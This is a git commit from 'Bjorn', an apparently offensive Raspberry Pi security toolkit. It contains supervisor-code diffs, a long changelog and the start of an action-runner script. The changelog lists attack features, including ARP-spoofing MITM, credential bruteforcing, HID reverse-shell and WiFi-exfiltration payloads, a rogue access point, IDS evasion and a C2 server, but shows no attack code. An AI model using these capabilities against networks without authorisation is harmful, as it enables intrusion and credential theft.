feat: Add login page with dynamic RGB effects and password toggle functionality

feat: Implement package management utilities with JSON endpoints for listing and uninstalling packages

feat: Create plugin management utilities with endpoints for listing, configuring, and installing plugins

feat: Develop schedule and trigger management utilities with CRUD operations for schedules and triggers
This commit is contained in:
infinition
2026-03-19 00:40:04 +01:00
parent 3fa4d5742a
commit b0584a1a8e
176 changed files with 7795 additions and 1781 deletions

View File

@@ -1,7 +1,4 @@
# Bjorn.py """Bjorn.py - Main supervisor: thread lifecycle, health monitoring, and crash protection."""
# Main entry point and supervisor for the Bjorn project
# Manages lifecycle of threads, health monitoring, and crash protection.
# OPTIMIZED FOR PI ZERO 2: Low CPU overhead, aggressive RAM management.
import logging import logging
import os import os
@@ -305,7 +302,7 @@ class Bjorn:
# Keep MANUAL sticky so supervisor does not auto-restart orchestration, # Keep MANUAL sticky so supervisor does not auto-restart orchestration,
# but only if the current mode isn't already handling it. # but only if the current mode isn't already handling it.
# - MANUAL/BIFROST: already non-AUTO, no need to change # - MANUAL/BIFROST: already non-AUTO, no need to change
# - AUTO: let it be orchestrator will restart naturally (e.g. after Bifrost auto-disable) # - AUTO: let it be - orchestrator will restart naturally (e.g. after Bifrost auto-disable)
try: try:
current = self.shared_data.operation_mode current = self.shared_data.operation_mode
if current == "AI": if current == "AI":
@@ -471,6 +468,14 @@ def handle_exit(
except Exception: except Exception:
pass pass
# 2e. Stop Plugin Manager
try:
mgr = getattr(shared_data, 'plugin_manager', None)
if mgr and hasattr(mgr, 'stop_all'):
mgr.stop_all()
except Exception:
pass
# 3. Stop Web Server # 3. Stop Web Server
try: try:
if web_thread_obj and hasattr(web_thread_obj, "shutdown"): if web_thread_obj and hasattr(web_thread_obj, "shutdown"):
@@ -547,7 +552,7 @@ if __name__ == "__main__":
health_thread = HealthMonitor(shared_data, interval_s=health_interval) health_thread = HealthMonitor(shared_data, interval_s=health_interval)
health_thread.start() health_thread.start()
# Sentinel watchdog start if enabled in config # Sentinel watchdog - start if enabled in config
try: try:
from sentinel import SentinelEngine from sentinel import SentinelEngine
sentinel_engine = SentinelEngine(shared_data) sentinel_engine = SentinelEngine(shared_data)
@@ -560,7 +565,7 @@ if __name__ == "__main__":
except Exception as e: except Exception as e:
logger.warning("Sentinel init skipped: %s", e) logger.warning("Sentinel init skipped: %s", e)
# Bifrost engine start if enabled in config # Bifrost engine - start if enabled in config
try: try:
from bifrost import BifrostEngine from bifrost import BifrostEngine
bifrost_engine = BifrostEngine(shared_data) bifrost_engine = BifrostEngine(shared_data)
@@ -573,7 +578,7 @@ if __name__ == "__main__":
except Exception as e: except Exception as e:
logger.warning("Bifrost init skipped: %s", e) logger.warning("Bifrost init skipped: %s", e)
# Loki engine start if enabled in config # Loki engine - start if enabled in config
try: try:
from loki import LokiEngine from loki import LokiEngine
loki_engine = LokiEngine(shared_data) loki_engine = LokiEngine(shared_data)
@@ -586,7 +591,7 @@ if __name__ == "__main__":
except Exception as e: except Exception as e:
logger.warning("Loki init skipped: %s", e) logger.warning("Loki init skipped: %s", e)
# LLM Bridge warm up singleton (starts LaRuche mDNS discovery if enabled) # LLM Bridge - warm up singleton (starts LaRuche mDNS discovery if enabled)
try: try:
from llm_bridge import LLMBridge from llm_bridge import LLMBridge
LLMBridge() # Initialise singleton, kicks off background discovery LLMBridge() # Initialise singleton, kicks off background discovery
@@ -594,17 +599,28 @@ if __name__ == "__main__":
except Exception as e: except Exception as e:
logger.warning("LLM Bridge init skipped: %s", e) logger.warning("LLM Bridge init skipped: %s", e)
# MCP Server start if enabled in config # MCP Server - start if enabled in config
try: try:
import mcp_server import mcp_server
if shared_data.config.get("mcp_enabled", False): if shared_data.config.get("mcp_enabled", False):
mcp_server.start() mcp_server.start()
logger.info("MCP server started") logger.info("MCP server started")
else: else:
logger.info("MCP server loaded (disabled enable via Settings)") logger.info("MCP server loaded (disabled - enable via Settings)")
except Exception as e: except Exception as e:
logger.warning("MCP server init skipped: %s", e) logger.warning("MCP server init skipped: %s", e)
# Plugin Manager - discover and load enabled plugins
try:
from plugin_manager import PluginManager
plugin_manager = PluginManager(shared_data)
shared_data.plugin_manager = plugin_manager
plugin_manager.load_all()
plugin_manager.install_db_hooks()
logger.info(f"Plugin manager started ({len(plugin_manager._instances)} plugins loaded)")
except Exception as e:
logger.warning("Plugin manager init skipped: %s", e)
# Signal Handlers # Signal Handlers
exit_handler = lambda s, f: handle_exit( exit_handler = lambda s, f: handle_exit(
s, s,
@@ -708,6 +724,6 @@ if __name__ == "__main__":
runtime_state_thread, runtime_state_thread,
False, False,
) )
except: except Exception:
pass pass
sys.exit(1) sys.exit(1)

490
CHANGELOG.md Normal file
View File

@@ -0,0 +1,490 @@
# BJORN — Changelog
> **From Viking Raider to Cyber Warlord.**
> This release represents a complete transformation of Bjorn — from a \~8,200-line Python prototype into a **\~58,000-line Python + \~42,000-line frontend** autonomous cybersecurity platform with AI orchestration, WiFi recon, HID attacks, network watchdog, C2 infrastructure, and a full Single-Page Application dashboard.
---
## [2.1.0] — 2026-03-19
### Codebase Cleanup
- All Python file headers standardized to `"""filename.py - Description."""` format (~120 files)
- All French comments, docstrings, log/print strings, and error messages translated to English
- Removed redundant/obvious comments, verbose 10-20 line header essays trimmed to 1-3 lines
- Fixed encoding artifacts (garbled UTF-8 box-drawing chars in CSS)
- Fixed `# webutils/` path typos in 3 web_utils files
- Replaced LLM-style em dashes with plain hyphens across all .py files
### Custom Scripts System
- **Custom scripts directory** (`actions/custom/`) for user-uploaded scripts, ignored by orchestrator
- **Two script formats supported**: Bjorn-format (class + `execute()` + `shared_data`) and free Python scripts (plain `argparse`)
- **Auto-detection** via AST parsing: scripts with `b_class` var use action_runner, others run as raw subprocess
- **`b_args` support** for both formats: drives web UI controls (text, number, select, checkbox, slider)
- **Upload/delete** via web UI with metadata extraction (no code exec during upload)
- **Auto-registration**: scripts dropped in `actions/custom/` via SSH are detected on next API call
- Two example templates: `example_bjorn_action.py` and `example_free_script.py`
- Custom scripts appear in console-sse manual mode dropdown under `<optgroup>`
### Action Runner
- **`action_runner.py`** - Generic subprocess wrapper that bootstraps `shared_data` for manual action execution
- Supports `--ip`, `--port`, `--mac` + arbitrary `--key value` args injected as `shared_data` attributes
- SIGTERM handler for graceful stop from the web UI
- MAC auto-resolution from DB if not provided
- Handles both `execute()` and `scan()` (global actions like NetworkScanner)
### Script Scheduler & Conditional Triggers
- **`script_scheduler.py`** - Lightweight 30s-tick background daemon for automated script execution
- **Recurring schedules**: run every N seconds (min 30s), persistent across reboots
- **One-shot schedules**: fire at a specific datetime, auto-disable after
- **Conditional triggers**: fire scripts when DB conditions are met (AND/OR block logic)
- **8 condition types**: `action_result`, `hosts_with_port`, `hosts_alive`, `cred_found`, `has_vuln`, `db_count`, `time_after`, `time_before`
- **Orchestrator hook**: triggers evaluated immediately when actions complete (not just on 30s tick)
- **Concurrency limited** to 4 simultaneous scheduled scripts (Pi Zero friendly)
- **Condition builder** (`web/js/core/condition-builder.js`) - Visual nested AND/OR block editor
- Scheduler page extended with 3 tabs: Queue (existing kanban), Schedules, Triggers
- Full CRUD UI for schedules and triggers with inline edit, toggle, delete, auto-refresh
- "Test" button for dry-run condition evaluation
### Package Manager
- **pip package management** for custom script dependencies
- **SSE streaming** install progress (`pip install --break-system-packages`)
- Packages tracked in DB (`custom_packages` table) - only recorded after successful install
- Uninstall with DB cleanup
- Package name validation (regex whitelist, no shell injection)
- New "Packages" tab in Actions page sidebar
### New Database Modules
- `db_utils/schedules.py` - Schedule and trigger persistence (CRUD, due queries, cooldown checks)
- `db_utils/packages.py` - Custom package tracking
### New Web Endpoints
- `/api/schedules/*` (list, create, update, delete, toggle) - 5 endpoints
- `/api/triggers/*` (list, create, update, delete, toggle, test) - 6 endpoints
- `/api/packages/*` (list, install SSE, uninstall) - 3 endpoints
- `/upload_custom_script`, `/delete_custom_script` - Custom script management
### Resource & Memory Fixes
- Script output buffer capped at 2000 lines (was unbounded)
- Finished scripts dict auto-pruned (max 20 historical entries)
- AST parse results cached by file mtime (no re-parsing on every API call)
- Module imports replaced with AST extraction in `list_scripts()` (no more `sys.modules` pollution)
- Custom scripts filesystem scan throttled to once per 30s
- Scheduler daemon: event queue capped at 100, subprocess cleanup with `wait()` + `stdout.close()`
- Package install: graceful terminate -> wait -> kill cascade with FD cleanup
### Multilingual Comments Import
- `comment.py` `_ensure_comments_loaded()` now imports all `comments.*.json` files on every startup
- Drop `comments.fr.json`, `comments.de.json`, etc. next to `comments.en.json` for automatic multi-language support
- Existing comments untouched via `INSERT OR IGNORE` (unique index dedup)
---
## [2.0.0] — 2025/2026 Major Release
### TL;DR — What's New
| Area | v1 (alpha 2) | v2 (this release) |
|------|-------------|-------------------|
| Python codebase | ~8,200 lines | **~58,000 lines** (7x) |
| Web frontend | ~2,100 lines (6 static HTML pages) | **~42,000 lines** (25-page SPA) |
| Action modules | 17 | **32** |
| Database | Monolithic SQLite helper | **Modular facade** (18 specialized modules) |
| AI/ML | Basic heuristic scoring | **Full RL engine** + LLM orchestrator + MCP server |
| Web UI | Static multi-page HTML | **Hash-routed SPA** with lazy-loading, theming, i18n |
| Languages | English only | **7 languages** (EN, FR, ES, DE, IT, RU, ZH) |
| WiFi recon | None | **Bifrost engine** (Pwnagotchi-compatible) |
| HID attacks | None | **Loki module** (USB Rubber Ducky-style) |
| Network watchdog | None | **Sentinel engine** (9 detection modules) |
| C2 server | None | **ZombieLand** (encrypted C2 with agent management) |
| LLM integration | None | **LLM Bridge** + MCP Server + Autonomous Orchestrator |
| Display | Basic 2.13" e-paper | **Multi-size EPD** + web-based layout editor |
---
### New Major Features
#### AI & LLM Integration — Bjorn Gets a Brain
- **LLM Bridge** (`llm_bridge.py`) — Singleton, thread-safe LLM backend with automatic cascade:
1. LaRuche swarm node (LAND protocol / mDNS auto-discovery)
2. Local Ollama instance
3. External API (Anthropic / OpenAI / OpenRouter)
4. Graceful fallback to templates
- **Agentic tool-calling loop** — Up to 6-turn tool-use cycles with Anthropic API, enabling the LLM to query live network data and queue actions autonomously
- **MCP Server** (`mcp_server.py`) — Model Context Protocol server exposing 7 Bjorn tools (`get_hosts`, `get_vulnerabilities`, `get_credentials`, `get_action_history`, `get_status`, `run_action`, `query_db`), compatible with Claude Desktop and any MCP client
- **LLM Orchestrator** (`llm_orchestrator.py`) — Three operating modes:
- `none` — LLM disabled (default, zero overhead)
- `advisor` — LLM suggests one action per cycle (priority 85)
- `autonomous` — Own daemon thread, full tool-calling loop, LLM becomes sole master of the action queue
- **Smart fingerprint skip** — Autonomous mode only calls the LLM when network state actually changes (new hosts, vulns, or credentials), saving API tokens
- **LAND Protocol** (`land_protocol.py`) — Native Python client for Local AI Network Discovery, auto-detects LaRuche inference nodes on LAN via mDNS
- **LLM-powered EPD comments** — E-paper display comments optionally generated by LLM with Norse personality, seamless fallback to database templates
- **Web chat interface** — Terminal-style chat with the LLM, tool-calling support, orchestrator reasoning log viewer
- **LLM configuration page** — Full web UI for all LLM/MCP settings, connection testing, per-tool access control
- **45+ new configuration parameters** for LLM bridge, MCP server, and orchestrator
#### Bifrost — WiFi Reconnaissance Engine
- **Pwnagotchi-compatible** WiFi recon daemon running alongside all Bjorn modes
- **BettercapClient** — Full HTTP API client for bettercap (session control, WiFi module management, handshake capture)
- **BifrostAgent** — Drives channel hopping, AP tracking, client deauth, handshake collection
- **BifrostAutomata** — State machine (MANUAL, AUTOMATIC, BORED, SAD, EXCITED, LONELY) controlling recon aggressiveness
- **BifrostEpoch** — Tracks WiFi recon epochs with reward calculation
- **BifrostVoice** — Personality/mood system for EPD display messages
- **Plugin system** — Extensible event-driven plugin architecture
- **Dedicated web page** (`bifrost.js`) for real-time WiFi recon monitoring
- **Database module** (`db_utils/bifrost.py`) for persistent handshake and AP storage
- **Monitor mode management** — Automatic WiFi interface setup/teardown scripts
#### Loki — USB HID Attack Framework
- **USB Rubber Ducky-style HID injection** via Raspberry Pi USB gadget mode
- **HID Controller** (`loki/hid_controller.py`) — Low-level USB HID keyboard/mouse report writer to `/dev/hidg0`/`/dev/hidg1`
- **HIDScript engine** (`loki/hidscript.py`) — JavaScript-based payload scripting language
- **Multi-language keyboard layouts** — US, FR, DE, ES, IT, RU, UK, ZH with JSON layout definitions and auto-generation tool
- **Pre-built payloads** — Hello World, Reverse Shell (Linux), Rickroll, WiFi credential exfiltration (Windows)
- **Job queue** (`loki/jobs.py`) — Managed execution of HID payloads with status tracking
- **Loki Deceiver action** (`actions/loki_deceiver.py`) — Rogue access point creation for WiFi authentication capture and MITM
- **Dedicated web page** (`loki.js`) for payload management and execution
- **Database module** (`db_utils/loki.py`) for job persistence
#### Sentinel — Network Watchdog Engine
- **9 detection modules** running as a lightweight background daemon:
- `new_device` — Never-seen MAC appears on the network
- `device_join` — Known device comes back online
- `device_leave` — Known device goes offline
- `arp_spoof` — Same IP claimed by multiple MACs (ARP cache conflict)
- `port_change` — Host ports changed since last snapshot
- `service_change` — New service detected on known host
- `rogue_dhcp` — Multiple DHCP servers detected
- `dns_anomaly` — DNS response pointing to unexpected IP
- `mac_flood` — Sudden burst of new MACs (possible MAC flooding attack)
- **Zero extra network traffic** — All checks read from existing Bjorn DB
- **Configurable severity levels** (info, warning, critical)
- **Dedicated web page** (`sentinel.js`) for alert browsing and rule management
- **Database module** (`db_utils/sentinel.py`) for alert persistence
#### ZombieLand — Command & Control Infrastructure
- **C2 Manager** (`c2_manager.py`) — Professional C2 server with:
- Encrypted agent communication (Fernet)
- SSH-based agent registration via Paramiko
- Agent heartbeat monitoring and health tracking
- Job dispatch and result collection
- UUID-based agent identification
- **Dedicated web page** (`zombieland.js`) with SSE-powered real-time agent monitoring
- **Database module** (`db_utils/agents.py`) for agent and job persistence
- **Marked as experimental** with appropriate UI warnings
---
### New Action Modules (15 New Actions)
| Action | Module | Description |
|--------|--------|-------------|
| **ARP Spoofer** | `arp_spoofer.py` | Bidirectional ARP cache poisoning for MITM positioning with automatic gateway detection and clean ARP table restoration |
| **Berserker Force** | `berserker_force.py` | Service resilience stress-testing — baseline measurement, controlled TCP/SYN/HTTP load testing, performance degradation quantification |
| **DNS Pillager** | `dns_pillager.py` | Comprehensive DNS reconnaissance — reverse DNS, record enumeration (A/AAAA/MX/NS/TXT/CNAME/SOA/SRV/PTR), zone transfer attempts |
| **Freya Harvest** | `freya_harvest.py` | Network-wide data harvesting and consolidation action |
| **Heimdall Guard** | `heimdall_guard.py` | Advanced stealth module for traffic manipulation and IDS/IPS evasion |
| **Loki Deceiver** | `loki_deceiver.py` | Rogue access point creation for WiFi authentication capture and MITM attacks |
| **Odin Eye** | `odin_eye.py` | Passive network analyzer for credential and data pattern hunting |
| **Rune Cracker** | `rune_cracker.py` | Advanced hash/credential cracking module |
| **Thor Hammer** | `thor_hammer.py` | Lightweight service fingerprinting via TCP connect + banner grab (Pi Zero friendly, no nmap dependency) |
| **Valkyrie Scout** | `valkyrie_scout.py` | Web surface reconnaissance — probes common paths, extracts auth types, login forms, missing security headers, error/debug strings |
| **Yggdrasil Mapper** | `yggdrasil_mapper.py` | Network topology mapper via traceroute with service enrichment from DB and merged JSON topology graph |
| **Web Enumeration** | `web_enum.py` | Web service enumeration and directory discovery |
| **Web Login Profiler** | `web_login_profiler.py` | Web login form detection and profiling |
| **Web Surface Mapper** | `web_surface_mapper.py` | Web application surface mapping and endpoint discovery |
| **WPAsec Potfiles** | `wpasec_potfiles.py` | WPA-sec.stanev.org potfile integration for WiFi password recovery |
| **Presence Join** | `presence_join.py` | Event-triggered action when a host joins the network (priority 90) |
| **Presence Leave** | `presence_left.py` | Event-triggered action when a host leaves the network (priority 90) |
| **Demo Action** | `demo_action.py` | Template/demonstration action for community developers |
### Improved Action Modules
- All bruteforce actions (SSH, FTP, SMB, SQL, Telnet) **rewritten** with shared `bruteforce_common.py` module providing:
- `ProgressTracker` class for unified EPD progress reporting
- Standardized credential iteration and result handling
- Configurable rate limiting and timeout management
- **Scanning action** (`scanning.py`) improved with better network discovery and host tracking
- **Nmap Vulnerability Scanner** refined with better CVE parsing and result persistence
- All steal/exfiltrate modules updated for new database schema compatibility
### Removed Actions
| Action | Reason |
|--------|--------|
| `rdp_connector.py` / `steal_files_rdp.py` | Replaced by more capable modules |
| `log_standalone.py` / `log_standalone2.py` | Consolidated into proper logging system |
| `ftp_connector.py`, `smb_connector.py`, etc. | Connector pattern replaced by dedicated bruteforce modules |
---
### Web Interface — Complete Rewrite
#### Architecture Revolution
- **Static multi-page HTML** (6 pages) replaced by a **hash-routed Single Page Application** with 25 lazy-loaded page modules
- **SPA Router** (`web/js/core/router.js`) — Hash-based routing with guaranteed `unmount()` cleanup before page transitions
- **ResourceTracker** (`web/js/core/resource-tracker.js`) — Automatic tracking and cleanup of intervals, timeouts, event listeners, and AbortControllers per page — **zero memory leaks**
- **Single `index.html`** entry point replaces 6 separate HTML files
- **Modular CSS** — Global stylesheet + per-page CSS files (`web/css/pages/*.css`)
#### New Web Pages (19 New Pages)
| Page | Module | Description |
|------|--------|-------------|
| **Dashboard** | `dashboard.js` | Real-time system stats, resource monitoring, uptime tracking |
| **Actions** | `actions.js` | Action browser with enable/disable toggles and configuration |
| **Actions Studio** | `actions-studio.js` | Visual action pipeline editor with drag-and-drop canvas |
| **Attacks** | `attacks.js` | Attack configuration with image upload and EPD layout editor tab |
| **Backup** | `backup.js` | Database backup/restore management |
| **Bifrost** | `bifrost.js` | WiFi recon monitoring dashboard |
| **Database** | `database.js` | Direct database browser and query tool |
| **Files** | `files.js` | File manager with upload, drag-drop, rename, delete |
| **LLM Chat** | `llm-chat.js` | Terminal-style LLM chat with tool-calling and orch log viewer |
| **LLM Config** | `llm-config.js` | Full LLM/MCP configuration panel |
| **Loki** | `loki.js` | HID attack payload management and execution |
| **RL Dashboard** | `rl-dashboard.js` | Reinforcement Learning metrics and model performance visualization |
| **Scheduler** | `scheduler.js` | Action scheduler configuration and monitoring |
| **Sentinel** | `sentinel.js` | Network watchdog alerts and rule management |
| **Vulnerabilities** | `vulnerabilities.js` | CVE browser with modal details and feed sync |
| **Web Enum** | `web-enum.js` | Web enumeration results browser with status filters |
| **ZombieLand** | `zombieland.js` | C2 agent management dashboard (experimental) |
| **Bjorn Debug** | `bjorn-debug.js` | System debug information and diagnostics |
| **Scripts** | (via scheduler) | Custom script upload and execution |
#### Improved Existing Pages
- **Network** (`network.js`) — D3 force-directed graph completely rewritten with proper cleanup on unmount, lazy D3 loading, search debounce, simulation stop
- **Credentials** (`credentials.js`) — AbortController tracking, toast timer cleanup, proper state reset
- **Loot** (`loot.js`) — Search timer cleanup, ResourceTracker integration
- **NetKB** (`netkb.js`) — View mode persistence, filter tracking, pagination integration
- **Bjorn/EPD** (`bjorn.js`) — Image refresh tracking, zoom controls, null EPD state handling
#### Internationalization (i18n)
- **7 supported languages**: English, French, Spanish, German, Italian, Russian, Chinese
- **i18n module** (`web/js/core/i18n.js`) with JSON translation files, `t()` helper function, and `data-i18n` attribute auto-translation
- **Fallback chain**: Current language -> English -> developer warning
- **Language selector** in UI with `localStorage` persistence
#### Theming Engine
- **Theme module** (`web/js/core/theme.js`) — CSS variable-based theming system
- **Preset themes** including default "Nordic Acid" (dark green/cyan)
- **User custom themes** with color picker + raw CSS editing
- **Icon pack switching** via icon registry
- **Theme import/export** as JSON
- **Live preview** — changes applied instantly without page reload
- **`localStorage` persistence** across sessions
#### Other Frontend Features
- **Console SSE** (`web/js/core/console-sse.js`) — Server-Sent Events for real-time log streaming with reconnect logic
- **Quick Panel** (`web/js/core/quickpanel.js`) — Fast-access control panel
- **Sidebar Layout** (`web/js/core/sidebar-layout.js`) — Collapsible sidebar navigation
- **Settings Config** (`web/js/core/settings-config.js`) — Dynamic form generation from config schema with chip editor
- **EPD Layout Editor** (`web/js/core/epd-editor.js`) — SVG drag-and-drop editor for e-paper display layouts with grid/snap, zoom (50-600%), undo stack, element properties panel
- **D3.js v7** bundled for network topology visualization
- **PWA Manifest** updated for installable web app experience
---
### Core Engine Improvements
#### Database — Modular Facade Architecture
- **Complete database rewrite** — Monolithic SQLite helper replaced by `BjornDatabase` facade delegating to **18 specialized modules** in `db_utils/`:
- `base.py` — Connection management, thread-safe connection pool
- `config.py` — Configuration CRUD operations
- `hosts.py` — Host discovery and tracking
- `actions.py` — Action metadata and history
- `queue.py` — Action queue with priority system and circuit breaker
- `vulnerabilities.py` — CVE vulnerability storage
- `software.py` — Software inventory
- `credentials.py` — Credential storage
- `services.py` — Service/port tracking
- `scripts.py` — Custom script management
- `stats.py` — Statistics and metrics
- `backups.py` — Database backup/restore
- `comments.py` — EPD comment templates
- `agents.py` — C2 agent management
- `studio.py` — Actions Studio pipeline data
- `webenum.py` — Web enumeration results
- `sentinel.py` — Sentinel alert storage
- `bifrost.py` — WiFi recon data
- `loki.py` — HID attack job storage
- **Full backward compatibility** maintained via `__getattr__` delegation
#### Orchestrator — Smarter, More Resilient
- **Action Scheduler** (`action_scheduler.py`) — Complete rewrite with:
- Trigger evaluation system (`on_host_alive`, `on_port_change`, `on_web_service`, `on_join`, `on_leave`, `on_start`, `on_success:*`)
- Requirements checking with dependency resolution
- Cooldown and rate limiting per action
- Priority queue processing
- Circuit breaker integration
- LLM autonomous mode skip option
- **Per-action circuit breaker** — 3-state machine (closed -> open -> half-open) with exponential backoff, prevents repeated failures from wasting resources
- **Global concurrency limiter** — DB-backed running action count check, configurable `semaphore_slots`
- **Manual mode with active scanning** — Background scan timer keeps network discovery running even in manual mode
- **Runtime State Updater** (`runtime_state_updater.py`) — Dedicated background thread keeping display-facing data fresh, decoupled from render loop
#### AI/ML Engine — From Heuristic to Reinforcement Learning
- **AI Engine** (`ai_engine.py`) — Full reinforcement learning decision engine:
- Feature-based action scoring
- Model versioning with up to 3 versions on disk
- Auto-rollback if average reward drops after 50 decisions
- Cold-start bootstrap with persistent per-(action, port_profile) running averages
- Blended heuristic/bootstrap scoring during warm-up phase
- **Feature Logger** (`feature_logger.py`) — Structured feature logging for ML training with variance-based feature selection
- **Data Consolidator** (`data_consolidator.py`) — Aggregates logged features into training-ready datasets exportable for TensorFlow/PyTorch
- **Continuous reward shaping** — Novelty bonus, repeat penalty, diminishing returns, partial credit for long-running failed actions
- **AI utility modules** (`ai_utils.py`) for shared ML helper functions
#### Display — Multi-Size EPD Support
- **Display Layout Engine** (`display_layout.py`) — JSON-based element positioning system:
- Built-in layouts for 2.13" and 2.7" Waveshare e-paper displays
- 20+ positionable UI elements (icons, text, bars, status indicators)
- Custom layout override via `resources/layouts/{epd_type}.json`
- `px()`/`py()` scaling preserved for resolution independence
- **EPD Manager** (`epd_manager.py`) — Abstraction layer over Waveshare EPD hardware
- **Web-based EPD Layout Editor** — SVG drag-and-drop canvas with:
- Corner resize handles
- Color/NB/BN display mode preview
- Grid/snap, zoom (50-600%), toggleable element labels
- Add/delete elements, import/export layout JSON
- 50-deep undo stack (Ctrl+Z)
- Color-coded elements by type
- Arrow key nudge, keyboard shortcuts
- **Display module** (`display.py`) grew from 390 to **1,130 lines** with multi-layout rendering pipeline
#### Web Server — Massive Expansion
- **webapp.py** grew from 222 to **1,037 lines**
- **18 web utility modules** in `web_utils/` (was: 0):
- `action_utils.py`, `attack_utils.py`, `backup_utils.py`, `bifrost_utils.py`
- `bluetooth_utils.py`, `c2_utils.py`, `character_utils.py`, `comment_utils.py`
- `db_utils.py`, `debug_utils.py`, `file_utils.py`, `image_utils.py`
- `index_utils.py`, `llm_utils.py`, `loki_utils.py`, `netkb_utils.py`
- `network_utils.py`, `orchestrator_utils.py`, `rl_utils.py`, `script_utils.py`
- `sentinel_utils.py`, `studio_utils.py`, `system_utils.py`, `vuln_utils.py`
- `webenum_utils.py`
- **Paginated API endpoints** for heavy data (`?page=N&per_page=M`)
- **RESTful API** covering all new features (LLM, MCP, Sentinel, Bifrost, Loki, C2, EPD editor, backups, etc.)
#### Configuration — Greatly Expanded
- **shared.py** grew from 685 to **1,502 lines** — more than doubled
- **New configuration sections**:
- LLM Bridge (14 parameters)
- MCP Server (4 parameters)
- LLM Orchestrator (7 parameters)
- AI/ML Engine (feature selection, model versioning, cold-start bootstrap)
- Circuit breaker (threshold, cooldown)
- Manual mode scanning (interval, auto-scan toggle)
- Sentinel watchdog settings
- Bifrost WiFi recon settings
- Loki HID attack settings
- Runtime state updater timings
- **Default config system** — `resources/default_config/` with bundled default action modules and comment templates
---
### Security Fixes
- **[SEC-01]** Eliminated all `shell=True` subprocess calls — replaced with safe argument lists
- **[SEC-02]** Added MAC address validation (regex) in DELETE route handler to prevent path traversal
- **[SEC-03]** Strengthened path validation using `os.path.realpath()` + dedicated validation helper to prevent symlink-based path traversal
- **[SEC-04]** Cortex config secrets replaced with placeholder values, properly `.gitignore`d
- **[SEC-05]** Added JWT authentication to Cortex WebSocket `/ws/logs` endpoint
- **[SEC-06]** Cortex device API authentication now required by default, CORS configurable via environment variable
- **MCP security** — Per-tool access control via `mcp_allowed_tools`, `query_db` restricted to SELECT only
- **File operations** — All file upload/download/delete operations use canonicalized path validation
### Bug Fixes
- **[BT-01]** Replaced bare `except:` clauses with specific exception handling + logging in Bluetooth utils
- **[BT-02]** Added null address validation in Bluetooth route entry points
- **[BT-03]** Added `threading.Lock` for `bt.json` read/write (race condition fix)
- **[BT-04]** Changed `auto_bt_connect` service restart to non-fatal (`check=False`)
- **[WEB-01]** Fixed SSE reconnect counter — only resets after 5+ consecutive healthy messages (was: reset on every single message, enabling infinite reconnect loops)
- **[WEB-02]** Removed empty string from `silent_routes` that was suppressing ALL log messages
- **[STAB-03]** Cleaned up dead GPS UI references, wired rl-dashboard mount
- **[ORCH-BUG]** Fixed Auto->Manual mode switch not resetting status to IDLE (4-location fix across `orchestrator.py`, `Bjorn.py`, and `orchestrator_utils.py`)
- Fixed D3 network graph memory leaks on page navigation
- Fixed multiple zombie timer and event listener leaks across all SPA pages
- Fixed search debounce timers not being cleaned up on unmount
### Quality & Stability
- **Standardized error handling** across all `web_utils` modules with consistent JSON response format
- **Magic numbers extracted** to named constants throughout the codebase
- **All 18 SPA pages** reviewed and hardened:
- 11 pages fully rewritten with ResourceTracker, safe DOM (no innerHTML), visibility-aware pollers
- 7 pages with targeted fixes for memory leaks, zombie timers, state reset issues
- **Uniform action metadata format** — All actions use AST-friendly `b_*` module-level constants for class, module, status, port, service, trigger, priority, cooldown, rate_limit, etc.
---
### Infrastructure & DevOps
- **Mode Switcher** (`mode-switcher.sh`) — Shell script for switching between operation modes
- **Bluetooth setup** (`bjorn_bluetooth.sh`) — Automated Bluetooth service configuration
- **USB Gadget setup** (`bjorn_usb_gadget.sh`) — USB HID gadget mode configuration for Loki
- **WiFi setup** (`bjorn_wifi.sh`) — WiFi interface and monitor mode management
- **MAC prefix database** (`data/input/prefixes/nmap-mac-prefixes.txt`) — Vendor identification for discovered devices
- **Common wordlists** (`data/input/wordlists/common.txt`) — Built-in wordlist for web enumeration
### Dependencies
**Added:**
- `zeroconf>=0.131.0` — LaRuche/LAND mDNS auto-discovery
- `paramiko` — SSH operations for C2 agent communication (moved from optional to core)
- `cryptography` (via Fernet) — C2 communication encryption
**Removed:**
- `Pillow==9.4.0` — No longer pinned (use system version)
- `rich==13.9.4` — Removed (was used for standalone logging)
- `pandas==2.2.3` — Removed (lightweight alternatives used instead)
**Optional (documented):**
- `mcp[cli]>=1.0.0` — MCP server support
---
### Breaking Changes
- **Web UI URLs changed** — Individual page URLs (`/bjorn.html`, `/config.html`, etc.) replaced by SPA hash routes (`/#/bjorn`, `/#/settings`, etc.)
- **Database schema expanded** — New tables for actions queue, circuit breaker, sentinel alerts, bifrost data, loki jobs, C2 agents, web enumeration, studio pipelines. Migration is automatic.
- **Configuration keys expanded** — `shared_config.json` now contains 45+ additional keys. Unknown keys are safely ignored; new defaults are applied automatically.
- **Action module format updated** — Actions now use `b_*` metadata constants instead of class-level attributes. Old-format actions will need migration.
- **RDP actions removed** — `rdp_connector.py` and `steal_files_rdp.py` dropped in favor of more capable modules.
---
### Stats
```
Component | v1 | v2 | Change
─────────────────────┼───────────┼─────────────┼──────────
Python files | 37 | 130+ | +250%
Python LoC | ~8,200 | ~58,000 | +607%
JS/CSS/HTML LoC | ~2,100 | ~42,000 | +1,900%
Action modules | 17 | 32 | +88%
Web pages | 6 | 25 | +317%
DB modules | 1 | 18 | +1,700%
Web API modules | 0 | 18+ | New
Config parameters | ~80 | ~180+ | +125%
Supported languages | 1 | 7 | +600%
Shell scripts | 3 | 5 | +67%
```
---
*Skol! The Cyberviking has evolved.*

121
action_runner.py Normal file
View File

@@ -0,0 +1,121 @@
"""action_runner.py - Generic subprocess wrapper for running Bjorn actions from the web UI."""
import sys
import os
import signal
import importlib
import argparse
import traceback
def _inject_extra_args(shared_data, remaining):
"""Parse leftover --key value pairs and set them as shared_data attributes."""
i = 0
while i < len(remaining):
token = remaining[i]
if token.startswith("--"):
key = token[2:].replace("-", "_")
if i + 1 < len(remaining) and not remaining[i + 1].startswith("--"):
val = remaining[i + 1]
# Auto-cast numeric values
try:
val = int(val)
except ValueError:
try:
val = float(val)
except ValueError:
pass
setattr(shared_data, key, val)
i += 2
else:
setattr(shared_data, key, True)
i += 1
else:
i += 1
def main():
parser = argparse.ArgumentParser(
description="Bjorn Action Runner - bootstraps shared_data and calls action.execute()"
)
parser.add_argument("b_module", help="Action module name (e.g. ssh_bruteforce)")
parser.add_argument("b_class", help="Action class name (e.g. SSHBruteforce)")
parser.add_argument("--ip", default="", help="Target IP address")
parser.add_argument("--port", default="", help="Target port")
parser.add_argument("--mac", default="", help="Target MAC address")
args, remaining = parser.parse_known_args()
# Bootstrap shared_data (creates fresh DB conn, loads config)
print(f"[runner] Loading shared_data for {args.b_class}...")
